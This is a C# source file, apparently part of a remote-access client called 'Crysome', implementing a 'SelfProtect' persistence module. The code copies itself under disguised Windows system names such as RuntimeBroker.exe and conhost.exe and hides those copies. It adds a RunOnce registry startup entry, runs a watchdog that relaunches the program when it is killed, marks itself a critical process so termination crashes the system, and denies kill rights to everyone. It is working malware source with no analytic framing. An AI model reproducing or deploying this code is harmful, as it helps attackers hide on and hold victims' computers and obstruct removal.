445 lines
9.0 KiB
C#
445 lines
9.0 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Crysome.Client.Configuration;
|
|
|
|
public static class SelfProtect
|
|
{
|
|
private static FileStream _fileLock;
|
|
|
|
private static Thread _watchThread;
|
|
|
|
private static volatile int _watcherPid = -1;
|
|
|
|
private static string _primaryExeName = "RuntimeBroker.exe";
|
|
|
|
private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows");
|
|
|
|
private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR");
|
|
|
|
internal static string PrimaryExe
|
|
{
|
|
get
|
|
{
|
|
return Path.Combine(PrimaryDir, _primaryExeName);
|
|
}
|
|
set
|
|
{
|
|
_primaryExeName = Path.GetFileName(value);
|
|
}
|
|
}
|
|
|
|
internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe");
|
|
|
|
public static void RunAsWatcher(int mainPid)
|
|
{
|
|
try
|
|
{
|
|
LockOwnFile();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
HidePath(GetCurrentExe());
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
while (true)
|
|
{
|
|
Thread.Sleep(2500);
|
|
bool flag = false;
|
|
try
|
|
{
|
|
flag = !Process.GetProcessById(mainPid).HasExited;
|
|
}
|
|
catch
|
|
{
|
|
flag = false;
|
|
}
|
|
if (!flag)
|
|
{
|
|
Thread.Sleep(800);
|
|
try
|
|
{
|
|
RestartFromBestCopy();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
try
|
|
{
|
|
EnsureBackups();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public static bool NeedsRelocation()
|
|
{
|
|
if (ClientConfiguration.IsHollowed)
|
|
{
|
|
return false;
|
|
}
|
|
string currentExe = GetCurrentExe();
|
|
if (string.IsNullOrEmpty(currentExe))
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase);
|
|
}
|
|
catch
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
|
|
public static bool RelocateAndRelaunch(string[] currentArgs)
|
|
{
|
|
if (ClientConfiguration.IsHollowed)
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
string currentExe = GetCurrentExe();
|
|
if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe))
|
|
{
|
|
return false;
|
|
}
|
|
byte[] bytes = File.ReadAllBytes(currentExe);
|
|
try
|
|
{
|
|
Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe));
|
|
foreach (Process process in processesByName)
|
|
{
|
|
try
|
|
{
|
|
process.Kill();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
Directory.CreateDirectory(PrimaryDir);
|
|
string primaryExe = PrimaryExe;
|
|
try
|
|
{
|
|
File.WriteAllBytes(primaryExe, bytes);
|
|
}
|
|
catch (IOException)
|
|
{
|
|
PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe");
|
|
primaryExe = PrimaryExe;
|
|
try
|
|
{
|
|
File.WriteAllBytes(primaryExe, bytes);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
HidePath(primaryExe);
|
|
Directory.CreateDirectory(BackupDir);
|
|
try
|
|
{
|
|
File.WriteAllBytes(BackupExe, bytes);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
HidePath(BackupExe);
|
|
string text = "";
|
|
if (currentArgs != null)
|
|
{
|
|
foreach (string text2 in currentArgs)
|
|
{
|
|
if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
text = text + " " + text2;
|
|
}
|
|
}
|
|
}
|
|
Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim())
|
|
{
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
return true;
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
Program.Log("SelfProtect relocate: " + ex2.Message);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
public static void Start()
|
|
{
|
|
if (ClientConfiguration.IsHollowed)
|
|
{
|
|
Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg");
|
|
_watchThread = new Thread(MonitorWatcher)
|
|
{
|
|
IsBackground = true
|
|
};
|
|
_watchThread.Start();
|
|
return;
|
|
}
|
|
LockOwnFile();
|
|
HidePath(GetCurrentExe());
|
|
EnsureBackups();
|
|
AddStartupRegistry();
|
|
SpawnWatcher();
|
|
_watchThread = new Thread(MonitorWatcher)
|
|
{
|
|
IsBackground = true
|
|
};
|
|
_watchThread.Start();
|
|
Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)");
|
|
}
|
|
|
|
private static void LockOwnFile()
|
|
{
|
|
try
|
|
{
|
|
string currentExe = GetCurrentExe();
|
|
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null)
|
|
{
|
|
_fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void HidePath(string path)
|
|
{
|
|
if (string.IsNullOrEmpty(path))
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
if (File.Exists(path))
|
|
{
|
|
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
string directoryName = Path.GetDirectoryName(path);
|
|
if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName))
|
|
{
|
|
new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void EnsureBackups()
|
|
{
|
|
string currentExe = GetCurrentExe();
|
|
if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe))
|
|
{
|
|
CopyIfMissing(currentExe, PrimaryDir, PrimaryExe);
|
|
CopyIfMissing(currentExe, BackupDir, BackupExe);
|
|
}
|
|
}
|
|
|
|
private static void CopyIfMissing(string source, string dir, string dest)
|
|
{
|
|
try
|
|
{
|
|
if (!File.Exists(dest))
|
|
{
|
|
Directory.CreateDirectory(dir);
|
|
File.Copy(source, dest, overwrite: true);
|
|
HidePath(dest);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void AddStartupRegistry()
|
|
{
|
|
try
|
|
{
|
|
string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe());
|
|
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true);
|
|
registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void SpawnWatcher()
|
|
{
|
|
if (ClientConfiguration.IsHollowed)
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe);
|
|
if (File.Exists(text))
|
|
{
|
|
Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id)
|
|
{
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
if (process != null)
|
|
{
|
|
_watcherPid = process.Id;
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void MonitorWatcher()
|
|
{
|
|
try
|
|
{
|
|
SetCriticalProcess();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
ProtectProcess();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
while (true)
|
|
{
|
|
Thread.Sleep(3000);
|
|
if (_watcherPid <= 0)
|
|
{
|
|
SpawnWatcher();
|
|
continue;
|
|
}
|
|
bool flag = false;
|
|
try
|
|
{
|
|
flag = !Process.GetProcessById(_watcherPid).HasExited;
|
|
}
|
|
catch
|
|
{
|
|
flag = false;
|
|
}
|
|
if (!flag)
|
|
{
|
|
_watcherPid = -1;
|
|
SpawnWatcher();
|
|
}
|
|
try
|
|
{
|
|
EnsureBackups();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb);
|
|
|
|
private static void SetCriticalProcess()
|
|
{
|
|
try
|
|
{
|
|
Process.EnterDebugMode();
|
|
bool pbOld = false;
|
|
RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false);
|
|
Program.Log("SelfProtect: Critical process set (BSOD on kill)");
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("SelfProtect: Failed to set critical process: " + ex.Message);
|
|
}
|
|
}
|
|
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
|
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor);
|
|
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
|
private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
|
|
|
|
private static void ProtectProcess()
|
|
{
|
|
try
|
|
{
|
|
IntPtr handle = Process.GetCurrentProcess().Handle;
|
|
IntPtr SecurityDescriptor = IntPtr.Zero;
|
|
uint SecurityDescriptorSize = 0u;
|
|
if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize))
|
|
{
|
|
SetKernelObjectSecurity(handle, 4, SecurityDescriptor);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void RestartFromBestCopy()
|
|
{
|
|
string text = null;
|
|
if (File.Exists(PrimaryExe))
|
|
{
|
|
text = PrimaryExe;
|
|
}
|
|
else if (File.Exists(BackupExe))
|
|
{
|
|
text = BackupExe;
|
|
}
|
|
if (text != null)
|
|
{
|
|
Process.Start(new ProcessStartInfo(text)
|
|
{
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
}
|
|
}
|
|
|
|
private static string GetCurrentExe()
|
|
{
|
|
return ClientConfiguration.GetProcessPath();
|
|
}
|
|
}
|